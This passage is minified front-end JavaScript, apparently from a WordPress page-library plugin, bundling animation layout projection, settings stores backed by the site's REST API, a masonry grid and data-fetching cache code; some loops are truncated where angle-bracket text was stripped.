Il({attachResizeListener:e,defaultParent:t,measureScroll:n,checkIsScrollRoot:r,resetTransform:i}){return class{constructor(e={},n=(null==t?void 0:t())){this.id=Fl++,this.animationId=0,this.children=new Set,this.options={},this.isTreeAnimating=!1,this.isAnimationBlocked=!1,this.isLayoutDirty=!1,this.isProjectionDirty=!1,this.isSharedProjectionDirty=!1,this.isTransformDirty=!1,this.updateManuallyBlocked=!1,this.updateBlockedByResize=!1,this.isUpdating=!1,this.isSVG=!1,this.needsReset=!1,this.shouldResetTransform=!1,this.hasCheckedOptimisedAppear=!1,this.treeScale={x:1,y:1},this.eventHandlers=new Map,this.hasTreeAnimated=!1,this.updateScheduled=!1,this.scheduleUpdate=()=>this.update(),this.projectionUpdateScheduled=!1,this.checkUpdateFailed=()=>{this.isUpdating&&(this.isUpdating=!1,this.clearAllSnapshots())},this.updateProjection=()=>{this.projectionUpdateScheduled=!1,Vl&&(Ol.totalNodes=Ol.resolvedTargetDeltas=Ol.recalculatedProjection=0),this.nodes.forEach(Ul),this.nodes.forEach(Kl),this.nodes.forEach(Gl),this.nodes.forEach($l),Vl&&window.MotionDebug.record(Ol)},this.resolvedRelativeTargetAt=0,this.hasProjected=!1,this.isVisible=!0,this.animationProgress=0,this.sharedNodes=new Map,this.latestValues=e,this.root=n?n.root||n:this,this.path=n?[...n.path,n]:[],this.parent=n,this.depth=n?n.depth+1:0;for(let e=0;ethis.root.updateBlockedByResize=!1;e(t,(()=>{this.root.updateBlockedByResize=!0,n&&n(),n=function(e,t){const n=Mi.now(),r=({timestamp:t})=>{const i=t-n;i>=250&&(Kr(r),e(i-250))};return Yr.read(r,!0),()=>Kr(r)}(r),Za.hasAnimatedSinceResize&&(Za.hasAnimatedSinceResize=!1,this.nodes.forEach(Yl))}))}i&&this.root.registerSharedNode(i,this),!1!==this.options.animate&&s&&(i||o)&&this.addEventListener("didUpdate",(({delta:e,hasLayoutChanged:t,hasRelativeTargetChanged:n,layout:r})=>{if(this.isTreeAnimationBlocked())return this.target=void 0,void(this.relativeTarget=void 0);const i=this.options.transition||s.getDefaultTransition()||tu,{onLayoutAnimationStart:o,onLayoutAnimationComplete:a}=s.getProps(),l=!this.targetLayout||!Tl(this.targetLayout,r)||n,u=!t&&n;if(this.options.layoutRoot||this.resumeFrom&&this.resumeFrom.instance||u||t&&(l||!this.currentAnimation)){this.resumeFrom&&(this.resumingFrom=this.resumeFrom,this.resumingFrom.resumingFrom=void 0),this.setAnimationOrigin(e,u);const t={...ki(i,"layout"),onPlay:o,onComplete:a};(s.shouldReduceMotion||this.options.layoutRoot)&&(t.delay=0,t.type=!1),this.startAnimation(t)}else t||Yl(this),this.isLead()&&this.options.onExitComplete&&this.options.onExitComplete();this.targetLayout=r}))}unmount(){this.options.layoutId&&this.willUpdate(),this.root.nodes.remove(this);const e=this.getStack();e&&e.remove(this),this.parent&&this.parent.children.delete(this),this.instance=void 0,Kr(this.updateProjection)}blockUpdate(){this.updateManuallyBlocked=!0}unblockUpdate(){this.updateManuallyBlocked=!1}isUpdateBlocked(){return this.updateManuallyBlocked||this.updateBlockedByResize}isTreeAnimationBlocked(){return this.isAnimationBlocked||this.parent&&this.parent.isTreeAnimationBlocked()||!1}startUpdate(){this.isUpdateBlocked()||(this.isUpdating=!0,this.nodes&&this.nodes.forEach(Xl),this.animationId++)}getTransformTemplate(){const{visualElement:e}=this.options;return e&&e.getProps().transformTemplate}willUpdate(e=!0){if(this.root.hasTreeAnimated=!0,this.root.isUpdateBlocked())return void(this.options.onExitComplete&&this.options.onExitComplete());if(window.HandoffCancelAllAnimations&&Nl(this)&&window.HandoffCancelAllAnimations(),!this.root.isUpdating&&this.root.startUpdate(),this.isLayoutDirty)return;this.isLayoutDirty=!0;for(let e=0;e{this.isLayoutDirty?this.root.didUpdate():this.root.checkUpdateFailed()}))}updateSnapshot(){!this.snapshot&&this.instance&&(this.snapshot=this.measure())}updateLayout(){if(!this.instance)return;if(this.updateScroll(),!(this.options.alwaysMeasureLayout&&this.isLead()||this.isLayoutDirty))return;if(this.resumeFrom&&!this.resumeFrom.instance)for(let e=0;eUa&&(t.x=1),t.y<$a&&t.y>Ua&&(t.y=1)}(this.layoutCorrected,this.treeScale,this.path,n),!t.layout||t.target||1===this.treeScale.x&&1===this.treeScale.y||(t.target=t.layout.layoutBox,t.targetWithTransforms=ka());const{target:l}=t;l?(this.projectionDelta&&this.prevProjectionDelta?(fl(this.prevProjectionDelta.x,this.projectionDelta.x),fl(this.prevProjectionDelta.y,this.projectionDelta.y)):this.createProjectionDeltas(),wa(this.projectionDelta,this.layoutCorrected,l,this.latestValues),this.treeScale.x===s&&this.treeScale.y===a&&Al(this.projectionDelta.x,this.prevProjectionDelta.x)&&Al(this.projectionDelta.y,this.prevProjectionDelta.y)||(this.hasProjected=!0,this.scheduleRender(),this.notifyListeners("projectionUpdate",l)),Vl&&Ol.recalculatedProjection++):this.prevProjectionDelta&&(this.createProjectionDeltas(),this.scheduleRender())}hide(){this.isVisible=!1}show(){this.isVisible=!0}scheduleRender(e=!0){var t;if(null===(t=this.options.visualElement)||void 0===t||t.scheduleRender(),e){const e=this.getStack();e&&e.scheduleRender()}this.resumingFrom&&!this.resumingFrom.instance&&(this.resumingFrom=void 0)}createProjectionDeltas(){this.prevProjectionDelta=Ra(),this.projectionDelta=Ra(),this.projectionDeltaWithTransform=Ra()}setAnimationOrigin(e,t=!1){const n=this.snapshot,r=n?n.latestValues:{},i={...this.latestValues},o=Ra();this.relativeParent&&this.relativeParent.options.layoutRoot||(this.relativeTarget=this.relativeTargetOrigin=void 0),this.attemptToResolveRelativeTarget=!t;const s=ka(),a=(n?n.source:void 0)!==(this.layout?this.layout.source:void 0),l=this.getStack(),u=!l||l.members.length<=1,c=Boolean(a&&!u&&!0===this.options.crossfade&&!this.path.some(eu));let d;this.animationProgress=0,this.mixTargetDelta=t=>{const n=t/1e3;Zl(o.x,e.x,n),Zl(o.y,e.y,n),this.setTargetDelta(o),this.relativeTarget&&this.relativeTargetOrigin&&this.layout&&this.relativeParent&&this.relativeParent.layout&&(Ea(s,this.layout.layoutBox,this.relativeParent.layout.layoutBox),function(e,t,n,r){Ql(e.x,t.x,n.x,r),Ql(e.y,t.y,n.y,r)}(this.relativeTarget,this.relativeTargetOrigin,s,n),d&&function(e,t){return Sl(e.x,t.x)&&Sl(e.y,t.y)}(this.relativeTarget,d)&&(this.isProjectionDirty=!1),d||(d=ka()),ml(d,this.relativeTarget)),a&&(this.animationValues=i,function(e,t,n,r,i,o){i?(e.opacity=ds(0,void 0!==n.opacity?n.opacity:1,cl(r)),e.opacityExit=ds(void 0!==t.opacity?t.opacity:1,0,dl(r))):o&&(e.opacity=ds(void 0!==t.opacity?t.opacity:1,void 0!==n.opacity?n.opacity:1,r));for(let i=0;i{Za.hasAnimatedSinceResize=!0,this.currentAnimation=function(e,t,n){const r=Nn(0)?0:Hs(0);return r.start(_s("",r,1e3,n)),r.animation}(0,0,{...e,onUpdate:t=>{this.mixTargetDelta(t),e.onUpdate&&e.onUpdate(t)},onComplete:()=>{e.onComplete&&e.onComplete(),this.completeAnimation()}}),this.resumingFrom&&(this.resumingFrom.currentAnimation=this.currentAnimation),this.pendingAnimation=void 0}))}completeAnimation(){this.resumingFrom&&(this.resumingFrom.currentAnimation=void 0,this.resumingFrom.preserveOpacity=void 0);const e=this.getStack();e&&e.exitAnimationComplete(),this.resumingFrom=this.currentAnimation=this.animationValues=void 0,this.notifyListeners("animationComplete")}finishAnimation(){this.currentAnimation&&(this.mixTargetDelta&&this.mixTargetDelta(1e3),this.currentAnimation.stop()),this.completeAnimation()}applyTransformsToTarget(){const e=this.getLead();let{targetWithTransforms:t,target:n,layout:r,latestValues:i}=e;if(t&&n&&r){if(this!==e&&this.layout&&r&&ou(this.options.animationType,this.layout.layoutBox,r.layoutBox)){n=this.target||ka();const t=va(this.layout.layoutBox.x);n.x.min=e.target.x.min,n.x.max=n.x.min+t;const r=va(this.layout.layoutBox.y);n.y.min=e.target.y.min,n.y.max=n.y.min+r}ml(t,n),za(t,i),wa(this.projectionDeltaWithTransform,this.layoutCorrected,t,i)}}registerSharedNode(e,t){this.sharedNodes.has(e)||this.sharedNodes.set(e,new Rl),this.sharedNodes.get(e).add(t);const n=t.options.initialPromotionConfig;t.promote({transition:n?n.transition:void 0,preserveFollowOpacity:n&&n.shouldPreserveFollowOpacity?n.shouldPreserveFollowOpacity(t):void 0})}isLead(){const e=this.getStack();return!e||e.lead===this}getLead(){var e;const{layoutId:t}=this.options;return t&&(null===(e=this.getStack())||void 0===e?void 0:e.lead)||this}getPrevLead(){var e;const{layoutId:t}=this.options;return t?null===(e=this.getStack())||void 0===e?void 0:e.prevLead:void 0}getStack(){const{layoutId:e}=this.options;if(e)return this.root.sharedNodes.get(e)}promote({needsReset:e,transition:t,preserveFollowOpacity:n}={}){const r=this.getStack();r&&r.promote(this,n),e&&(this.projectionDelta=void 0,this.needsReset=!0),t&&this.setOptions({transition:t})}relegate(){const e=this.getStack();return!!e&&e.relegate(this)}resetSkewAndRotation(){const{visualElement:e}=this.options;if(!e)return;let t=!1;const{latestValues:n}=e;if((n.z||n.rotate||n.rotateX||n.rotateY||n.rotateZ||n.skewX||n.skewY)&&(t=!0),!t)return;const r={};n.z&&jl("z",e,r,this.animationValues);for(let t=0;t{var t;return null===(t=e.currentAnimation)||void 0===t?void 0:t.stop()})),this.root.nodes.forEach(Hl),this.root.sharedNodes.clear()}}}function Bl(e){e.updateLayout()}function _l(e){var t;const n=(null===(t=e.resumeFrom)||void 0===t?void 0:t.snapshot)||e.snapshot;if(e.isLead()&&e.layout&&n&&e.hasListeners("didUpdate")){const{layoutBox:t,measuredBox:r}=e.layout,{animationType:i}=e.options,o=n.source!==e.layout.source;"size"===i?Da((e=>{const r=o?n.measuredBox[e]:n.layoutBox[e],i=va(r);r.min=t[e].min,r.max=r.min+i})):ou(i,n.layoutBox,t)&&Da((r=>{const i=o?n.measuredBox[r]:n.layoutBox[r],s=va(t[r]);i.max=i.min+s,e.relativeTarget&&!e.currentAnimation&&(e.isProjectionDirty=!0,e.relativeTarget[r].max=e.relativeTarget[r].min+s)}));const s=Ra();wa(s,t,n.layoutBox);const a=Ra();o?wa(a,e.applyTransform(r,!0),n.measuredBox):wa(a,t,n.layoutBox);const l=!El(s);let u=!1;if(!e.resumeFrom){const r=e.getClosestProjectingParent();if(r&&!r.resumeFrom){const{snapshot:i,layout:o}=r;if(i&&o){const s=ka();Ea(s,n.layoutBox,i.layoutBox);const a=ka();Ea(a,t,o.layoutBox),Tl(s,a)||(u=!0),r.options.layoutRoot&&(e.relativeTarget=a,e.relativeTargetOrigin=s,e.relativeParent=r)}}}e.notifyListeners("didUpdate",{layout:t,snapshot:n,delta:a,layoutDelta:s,hasLayoutChanged:l,hasRelativeTargetChanged:u})}else if(e.isLead()){const{onExitComplete:t}=e.options;t&&t()}e.options.transition=void 0}function Ul(e){Vl&&Ol.totalNodes++,e.parent&&(e.isProjecting()||(e.isProjectionDirty=e.parent.isProjectionDirty),e.isSharedProjectionDirty||(e.isSharedProjectionDirty=Boolean(e.isProjectionDirty||e.parent.isProjectionDirty||e.parent.isSharedProjectionDirty)),e.isTransformDirty||(e.isTransformDirty=e.parent.isTransformDirty))}function $l(e){e.isProjectionDirty=e.isSharedProjectionDirty=e.isTransformDirty=!1}function Wl(e){e.clearSnapshot()}function Hl(e){e.clearMeasurements()}function zl(e){e.isLayoutDirty=!1}function ql(e){const{visualElement:t}=e.options;t&&t.getProps().onBeforeLayoutMeasure&&t.notify("BeforeLayoutMeasure"),e.resetTransform()}function Yl(e){e.finishAnimation(),e.targetDelta=e.relativeTarget=e.target=void 0,e.isProjectionDirty=!0}function Kl(e){e.resolveTargetDelta()}function Gl(e){e.calcProjection()}function Xl(e){e.resetSkewAndRotation()}function Jl(e){e.removeLeadSnapshot()}function Zl(e,t,n){e.translate=ds(t.translate,0,n),e.scale=ds(t.scale,1,n),e.origin=t.origin,e.originPoint=t.originPoint}function Ql(e,t,n,r){e.min=ds(t.min,n.min,r),e.max=ds(t.max,n.max,r)}function eu(e){return e.animationValues&&void 0!==e.animationValues.opacityExit}const tu={duration:.45,ease:[.4,0,.1,1]},nu=e=>"undefined"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.toLowerCase().includes(e),ru=nu("applewebkit/")&&!nu("chrome/")?Math.round:qr;function iu(e){e.min=ru(e.min),e.max=ru(e.max)}function ou(e,t,n){return"position"===e||"preserve-aspect"===e&&(r=Cl(t),i=Cl(n),.2,!(Math.abs(r-i)<=.2));var r,i}function su(e){var t;return e!==e.root&&(null===(t=e.scroll)||void 0===t?void 0:t.wasRoot)}const au=Il({attachResizeListener:(e,t)=>Qr(e,"resize",t),measureScroll:()=>({x:document.documentElement.scrollLeft||document.body.scrollLeft,y:document.documentElement.scrollTop||document.body.scrollTop}),checkIsScrollRoot:()=>!0}),lu={current:void 0},uu=Il({measureScroll:e=>({x:e.scrollLeft,y:e.scrollTop}),defaultParent:()=>{if(!lu.current){const e=new au({});e.mount(window),e.setOptions({layoutScroll:!0}),lu.current=e}return lu.current},resetTransform:(e,t)=>{e.style.transform=void 0!==t?t:"none"},checkIsScrollRoot:e=>Boolean("fixed"===window.getComputedStyle(e).position)}),cu={pan:{Feature:class extends di{constructor(){super(...arguments),this.removePointerDownListener=qr}onPointerDown(e){this.session=new sa(e,this.createPanHandlers(),{transformPagePoint:this.node.getTransformPagePoint(),contextWindow:Ya(this.node)})}createPanHandlers(){const{onPanSessionStart:e,onPanStart:t,onPan:n,onPanEnd:r}=this.node.getProps();return{onSessionStart:Ja(e),onStart:Ja(t),onMove:n,onEnd:(e,t)=>{delete this.session,r&&Yr.postRender((()=>r(e,t)))}}}mount(){this.removePointerDownListener=ri(this.node.current,"pointerdown",(e=>this.onPointerDown(e)))}update(){this.session&&this.session.updateHandlers(this.createPanHandlers())}unmount(){this.removePointerDownListener(),this.session&&this.session.end()}}},drag:{Feature:class extends di{constructor(e){super(e),this.removeGroupControls=qr,this.removeListeners=qr,this.controls=new Ga(e)}mount(){const{dragControls:e}=this.node.getProps();e&&(this.removeGroupControls=e.subscribe(this.controls)),this.removeListeners=this.controls.addListeners()||qr}unmount(){this.removeGroupControls(),this.removeListeners()}},ProjectionNode:uu,MeasureLayout:rl}},du={current:null},hu={current:!1},pu=new WeakMap,mu=[...Gi,uo,xo],fu=["AnimationStart","AnimationComplete","Update","BeforeLayoutMeasure","LayoutMeasure","LayoutAnimationStart","LayoutAnimationComplete"],gu=bn.length;class vu{scrapeMotionValuesFromProps(e,t,n){return{}}constructor({parent:e,props:t,presenceContext:n,reducedMotionConfig:r,blockInitialAnimation:i,visualState:o},s={}){this.applyWillChange=!1,this.resolveKeyframes=(e,t,n,r)=>new this.KeyframeResolver(e,t,n,r,this),this.current=null,this.children=new Set,this.isVariantNode=!1,this.isControllingVariants=!1,this.shouldReduceMotion=null,this.values=new Map,this.KeyframeResolver=no,this.features={},this.valueSubscriptions=new Map,this.prevMotionValues={},this.events={},this.propEventSubscriptions={},this.notifyUpdate=()=>this.notify("Update",this.latestValues),this.render=()=>{this.isRenderScheduled=!1,this.current&&(this.triggerBuild(),this.renderInstance(this.current,this.renderState,this.props.style,this.projection))},this.isRenderScheduled=!1,this.scheduleRender=()=>{this.isRenderScheduled||(this.isRenderScheduled=!0,Yr.render(this.render,!1,!0))};const{latestValues:a,renderState:l}=o;this.latestValues=a,this.baseTarget={...a},this.initialValues=t.initial?{...a}:{},this.renderState=l,this.parent=e,this.props=t,this.presenceContext=n,this.depth=e?e.depth+1:0,this.reducedMotionConfig=r,this.options=s,this.blockInitialAnimation=Boolean(i),this.isControllingVariants=xn(t),this.isVariantNode=En(t),this.isVariantNode&&(this.variantChildren=new Set),this.manuallyAnimateOnMount=Boolean(e&&e.current);const{willChange:u,...c}=this.scrapeMotionValuesFromProps(t,{},this);for(const e in c){const t=c[e];void 0!==a[e]&&Nn(t)&&t.set(a[e],!1)}}mount(e){this.current=e,pu.set(e,this),this.projection&&!this.projection.instance&&this.projection.mount(e),this.parent&&this.isVariantNode&&!this.isControllingVariants&&(this.removeFromVariantTree=this.parent.addVariantChild(this)),this.values.forEach(((e,t)=>this.bindToMotionValue(t,e))),hu.current||function(){if(hu.current=!0,en)if(window.matchMedia){const e=window.matchMedia("(prefers-reduced-motion)"),t=()=>du.current=e.matches;e.addListener(t),t()}else du.current=!1}(),this.shouldReduceMotion="never"!==this.reducedMotionConfig&&("always"===this.reducedMotionConfig||du.current),this.parent&&this.parent.children.add(this),this.update(this.props,this.presenceContext)}unmount(){pu.delete(this.current),this.projection&&this.projection.unmount(),Kr(this.notifyUpdate),Kr(this.render),this.valueSubscriptions.forEach((e=>e())),this.removeFromVariantTree&&this.removeFromVariantTree(),this.parent&&this.parent.children.delete(this);for(const e in this.events)this.events[e].clear();for(const e in this.features){const t=this.features[e];t&&(t.unmount(),t.isMounted=!1)}this.current=null}bindToMotionValue(e,t){const n=Fn.has(e),r=t.on("change",(t=>{this.latestValues[e]=t,this.props.onUpdate&&Yr.preRender(this.notifyUpdate),n&&this.projection&&(this.projection.isTransformDirty=!0)})),i=t.on("renderRequest",this.scheduleRender);this.valueSubscriptions.set(e,(()=>{r(),i(),t.owner&&t.stop()}))}sortNodePosition(e){return this.current&&this.sortInstanceNodePosition&&this.type===e.type?this.sortInstanceNodePosition(this.current,e.current):0}updateFeatures(){let e="animation";for(e in Tn){const t=Tn[e];if(!t)continue;const{isEnabled:n,Feature:r}=t;if(!this.features[e]&&r&&n(this.props)&&(this.features[e]=new r(this)),this.features[e]){const t=this.features[e];t.isMounted?t.update():(t.mount(),t.isMounted=!0)}}}triggerBuild(){this.build(this.renderState,this.latestValues,this.props)}measureViewportBox(){return this.current?this.measureInstanceViewportBox(this.current,this.props):ka()}getStaticValue(e){return this.latestValues[e]}setStaticValue(e,t){this.latestValues[e]=t}update(e,t){(e.transformTemplate||this.props.transformTemplate)&&this.scheduleRender(),this.prevProps=this.props,this.props=e,this.prevPresenceContext=this.presenceContext,this.presenceContext=t;for(let t=0;tt.variantChildren.delete(e)}addValue(e,t){const n=this.values.get(e);t!==n&&(n&&this.removeValue(e),this.bindToMotionValue(e,t),this.values.set(e,t),this.latestValues[e]=t.get())}removeValue(e){this.values.delete(e);const t=this.valueSubscriptions.get(e);t&&(t(),this.valueSubscriptions.delete(e)),delete this.latestValues[e],this.removeValueFromRenderState(e,this.renderState)}hasValue(e){return this.values.has(e)}getValue(e,t){if(this.props.values&&this.props.values[e])return this.props.values[e];let n=this.values.get(e);return void 0===n&&void 0!==t&&(n=Hs(null===t?void 0:t,{owner:this}),this.addValue(e,n)),n}readValue(e,t){var n;let r=void 0===this.latestValues[e]&&this.current?null!==(n=this.getBaseTargetFromProps(this.props,e))&&void 0!==n?n:this.readValueFromInstance(this.current,e,this.options):this.latestValues[e];return null!=r&&("string"==typeof r&&(Ii(r)||Fi(r))?r=parseFloat(r):!(e=>mu.find(Ki(e)))(r)&&xo.test(t)&&(r=Ro(e,t)),this.setBaseTarget(e,Nn(r)?r.get():r)),Nn(r)?r.get():r}setBaseTarget(e,t){this.baseTarget[e]=t}getBaseTarget(e){var t;const{initial:n}=this.props;let r;if("string"==typeof n||"object"==typeof n){const i=Lr(this.props,n,null===(t=this.presenceContext)||void 0===t?void 0:t.custom);i&&(r=i[e])}if(n&&void 0!==r)return r;const i=this.getBaseTargetFromProps(this.props,e);return void 0===i||Nn(i)?void 0!==this.initialValues[e]&&void 0===r?void 0:this.baseTarget[e]:i}on(e,t){return this.events[e]||(this.events[e]=new Us),this.events[e].add(t)}notify(e,...t){this.events[e]&&this.events[e].notify(...t)}}class yu extends vu{constructor(){super(...arguments),this.KeyframeResolver=Do}sortInstanceNodePosition(e,t){return 2&e.compareDocumentPosition(t)?1:-1}getBaseTargetFromProps(e,t){return e.style?e.style[t]:void 0}removeValueFromRenderState(e,{vars:t,style:n}){delete t[e],delete n[e]}}class wu extends yu{constructor(){super(...arguments),this.type="html",this.applyWillChange=!0,this.renderInstance=Ar}readValueFromInstance(e,t){if(Fn.has(t)){const e=Ao(t);return e&&e.default||0}{const r=(n=e,window.getComputedStyle(n)),i=(ar(t)?r.getPropertyValue(t):r[t])||0;return"string"==typeof i?i.trim():i}var n}measureInstanceViewportBox(e,{transformPagePoint:t}){return qa(e,t)}build(e,t,n){dr(e,t,n.transformTemplate)}scrapeMotionValuesFromProps(e,t,n){return Dr(e,t,n)}handleChildMotionValue(){this.childSubscription&&(this.childSubscription(),delete this.childSubscription);const{children:e}=this.props;Nn(e)&&(this.childSubscription=e.on("change",(e=>{this.current&&(this.current.textContent=`${e}`)})))}}class bu extends yu{constructor(){super(...arguments),this.type="svg",this.isSVGTag=!1,this.measureInstanceViewportBox=ka}getBaseTargetFromProps(e,t){return e[t]}readValueFromInstance(e,t){if(Fn.has(t)){const e=Ao(t);return e&&e.default||0}return t=Rr.has(t)?t:rn(t),e.getAttribute(t)}scrapeMotionValuesFromProps(e,t,n){return Or(e,t,n)}build(e,t,n){Er(e,t,this.isSVGTag,n.transformTemplate)}renderInstance(e,t,n,r){kr(e,t,0,r)}mount(e){this.isSVGTag=Pr(e.tagName),super.mount(e)}}const xu=(t,n)=>Vn(t)?new bu(n):new wu(n,{allowProjection:t!==e.Fragment}),Eu={...ia,...bi,...cu,layout:{ProjectionNode:uu,MeasureLayout:rl}},Su=Dn(((e,t)=>function(e,{forwardMotionProps:t=!1},n,r){return{...Vn(e)?Jr:Zr,preloadedFeatures:n,useRender:Cr(t),createVisualElement:r,Component:e}}(e,t,Eu,xu))),Pu="/extendify/v1/library/settings",Tu={getItem:async()=>await u()({path:Pu}),setItem:async(e,t)=>await u()({path:Pu,method:"POST",data:{state:t}})},Cu={siteType:{},category:"",totalImports:0},Au=c(window.extLibraryData.siteInfo),Ru=y(T((e=>{var t,n,r;return{...Cu,...null!==(t=Au?.state)&&void 0!==t?t:{},siteType:null!==(n=null!==(r=window.extSharedData?.siteType)&&void 0!==r?r:Au.siteType)&&void 0!==n?n:{},setSiteType:async t=>{e({siteType:t}),await u()({path:`${Pu}/single`,method:"POST",data:{key:"siteType",value:t}})},setCategory:t=>e({category:t}),incrementImports:()=>e((e=>({totalImports:Number(e.totalImports)+1})))}}),{name:"extendify_library_site_data",storage:S((()=>Tu)),skipHydration:!0})),ku={getItem:async()=>await u()({path:"/wp/v2/users/me"}),setItem:async(e,t)=>await u()({path:"/wp/v2/users/me",method:"PUT",data:{extendify_library_user:t}})},Du=y(T(((e,t)=>{var n;return{openOnNewPage:!0,updateUserOption:(n,r)=>{Object.keys(t()).includes(n)&&e({[n]:r})},...null!==(n=c(window.extLibraryData.userInfo)?.state)&&void 0!==n?n:{}}}),{name:"extendify_library_user",storage:S((()=>ku)),partialize:e=>({...e,ready:!1}),skipHydration:!0})),Ou={"--wp--preset--spacing--30":"clamp(1.5rem, 5vw, 2rem)","--wp--preset--spacing--40":"clamp(1.8rem, 1.8rem + ((1vw - 0.48rem) * 2.885), 3rem)","--wp--preset--spacing--50":"clamp(2.5rem, 8vw, 4rem)","--wp--preset--spacing--60":"clamp(2.5rem, 8vw, 6rem)","--wp--preset--spacing--70":"clamp(3.75rem, 10vw, 7rem)","--wp--preset--spacing--80":"clamp(5rem, 5.25rem + ((1vw - 0.48rem) * 9.096), 8rem)"},Vu=window.wp.components;Object.defineProperty;var Lu=new Map,Mu=new WeakMap,Fu=0;function ju(e,t,n={},r=undefined){if(void 0===window.IntersectionObserver&&void 0!==r){const i=e.getBoundingClientRect();return t(r,{isIntersecting:r,target:e,intersectionRatio:"number"==typeof n.threshold?n.threshold:0,time:0,boundingClientRect:i,intersectionRect:i,rootBounds:i}),()=>{}}const{id:i,observer:o,elements:s}=function(e){const t=function(e){return Object.keys(e).sort().filter((t=>void 0!==e[t])).map((t=>{return`${t}_${"root"===t?(n=e.root,n?(Mu.has(n)||(Fu+=1,Mu.set(n,Fu.toString())),Mu.get(n)):"0"):e[t]}`;var n})).toString()}(e);let n=Lu.get(t);if(!n){const r=new Map;let i;const o=new IntersectionObserver((t=>{t.forEach((t=>{var n;const o=t.isIntersecting&&i.some((e=>t.intersectionRatio>=e));e.trackVisibility&&void 0===t.isVisible&&(t.isVisible=o),null==(n=r.get(t.target))||n.forEach((e=>{e(o,t)}))}))}),e);i=o.thresholds||(Array.isArray(e.threshold)?e.threshold:[e.threshold||0]),n={id:t,observer:o,elements:r},Lu.set(t,n)}return n}(n),a=s.get(e)||[];return s.has(e)||s.set(e,a),a.push(t),o.observe(e),function(){a.splice(a.indexOf(t),1),0===a.length&&(s.delete(e),o.unobserve(e)),0===s.size&&(o.disconnect(),Lu.delete(i))}}function Nu(){return Nu=Object.assign||function(e){for(var t=1;t{this.reCalculateColumnCount()}))):this.reCalculateColumnCount()}reCalculateColumnCount(){const e=window&&window.innerWidth||1/0;let t=this.props.breakpointCols;"object"!=typeof t&&(t={default:parseInt(t)||2});let n=1/0,r=t.default||2;for(let i in t){const o=parseInt(i);o>0&&e<=o&&on().createElement("div",Nu({},a,{key:t}),e)))}logDeprecated(e){console.error("[Masonry]",e)}render(){const e=this.props,{children:t,breakpointCols:r,columnClassName:i,columnAttrs:o,column:s,className:a}=e,l=function(e,t){if(null==e)return{};var n,r,i=function(e,t){if(null==e)return{};var n,r,i={},o=Object.keys(e);for(r=0;r=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}(e,["children","breakpointCols","columnClassName","columnAttrs","column","className"]);let u=a;return"string"!=typeof a&&(this.logDeprecated('The property "className" requires a string'),void 0===a&&(u="my-masonry-grid")),n().createElement("div",Nu({},l,{className:u}),this.renderColumns())}}Uu.defaultProps={breakpointCols:void 0,className:void 0,columnClassName:void 0,children:void 0,columnAttrs:void 0,column:void 0};const $u=Uu;var Wu=i(688);const Hu=()=>{},zu=Hu(),qu=Object,Yu=e=>e===zu,Ku=e=>"function"==typeof e,Gu=(e,t)=>({...e,...t}),Xu=new WeakMap;let Ju=0;const Zu=e=>{const t=typeof e,n=e&&e.constructor,r=n==Date;let i,o;if(qu(e)!==e||r||n==RegExp)i=r?e.toJSON():"symbol"==t?e.toString():"string"==t?JSON.stringify(e):""+e;else{if(i=Xu.get(e),i)return i;if(i=++Ju+"~",Xu.set(e,i),n==Array){for(i="@",o=0;o{const n=Qu.get(e);return[()=>!Yu(t)&&e.get(t)||ec,r=>{if(!Yu(t)){const i=e.get(t);t in tc||(tc[t]=i),n[5](t,Gu(i,r),i||ec)}},n[6],()=>!Yu(t)&&t in tc?tc[t]:!Yu(t)&&e.get(t)||ec]};let sc=!0;const[ac,lc]=rc&&window.addEventListener?[window.addEventListener.bind(window),window.removeEventListener.bind(window)]:[Hu,Hu],uc={isOnline:()=>sc,isVisible:()=>{const e=ic&&document.visibilityState;return Yu(e)||"hidden"!==e}},cc={initFocus:e=>(ic&&document.addEventListener("visibilitychange",e),ac("focus",e),()=>{ic&&document.removeEventListener("visibilitychange",e),lc("focus",e)}),initReconnect:e=>{const t=()=>{sc=!0,e()},n=()=>{sc=!1};return ac("online",t),ac("offline",n),()=>{lc("online",t),lc("offline",n)}}},dc=!e.useId,hc=!rc||"Deno"in window,pc=e=>rc&&typeof window.requestAnimationFrame!=nc?window.requestAnimationFrame(e):setTimeout(e,1),mc=hc?e.useEffect:e.useLayoutEffect,fc="undefined"!=typeof navigator&&navigator.connection,gc=!hc&&fc&&(["slow-2g","2g"].includes(fc.effectiveType)||fc.saveData),vc=e=>{if(Ku(e))try{e=e()}catch(t){e=""}const t=e;return[e="string"==typeof e?e:(Array.isArray(e)?e.length:e)?Zu(e):"",t]};let yc=0;const wc=()=>++yc;async function bc(...e){const[t,n,r,i]=e,o=Gu({populateCache:!0,throwOnError:!0},"boolean"==typeof i?{revalidate:i}:i||{});let s=o.populateCache;const a=o.rollbackOnError;let l=o.optimisticData;const u=o.throwOnError;if(Ku(n)){const e=n,r=[],i=t.keys();for(const n of i)!/^\$(inf|sub)\$/.test(n)&&e(t.get(n)._k)&&r.push(n);return Promise.all(r.map(c))}return c(n);async function c(n){const[i]=vc(n);if(!i)return;const[c,d]=oc(t,i),[h,p,m,f]=Qu.get(t),g=()=>{const e=h[i];return(Ku(o.revalidate)?o.revalidate(c().data,n):!1!==o.revalidate)&&(delete m[i],delete f[i],e&&e[0])?e[0](2).then((()=>c().data)):c().data};if(e.length<3)return g();let v,y=r;const w=wc();p[i]=[w,0];const b=!Yu(l),x=c(),E=x.data,S=x._c,P=Yu(S)?E:S;if(b&&(l=Ku(l)?l(P,E):l,d({data:l,_c:P})),Ku(y))try{y=y(P)}catch(e){v=e}if(y&&(e=>Ku(e.then))(y)){if(y=await y.catch((e=>{v=e})),w!==p[i][0]){if(v)throw v;return y}v&&b&&(e=>"function"==typeof a?a(e):!1!==a)(v)&&(s=!0,d({data:P,_c:zu}))}if(s&&!v)if(Ku(s)){const e=s(y,P);d({data:e,error:zu,_c:zu})}else d({data:y,error:zu,_c:zu});if(p[i][1]=wc(),Promise.resolve(g()).then((()=>{d({_c:zu})})),!v)return y;if(u)throw v}}const xc=(e,t)=>{for(const n in e)e[n][0]&&e[n][0](t)},Ec=(e,t)=>{if(!Qu.has(e)){const n=Gu(cc,t),r={},i=bc.bind(zu,e);let o=Hu;const s={},a=(e,t)=>{const n=s[e]||[];return s[e]=n,n.push(t),()=>n.splice(n.indexOf(t),1)},l=(t,n,r)=>{e.set(t,n);const i=s[t];if(i)for(const e of 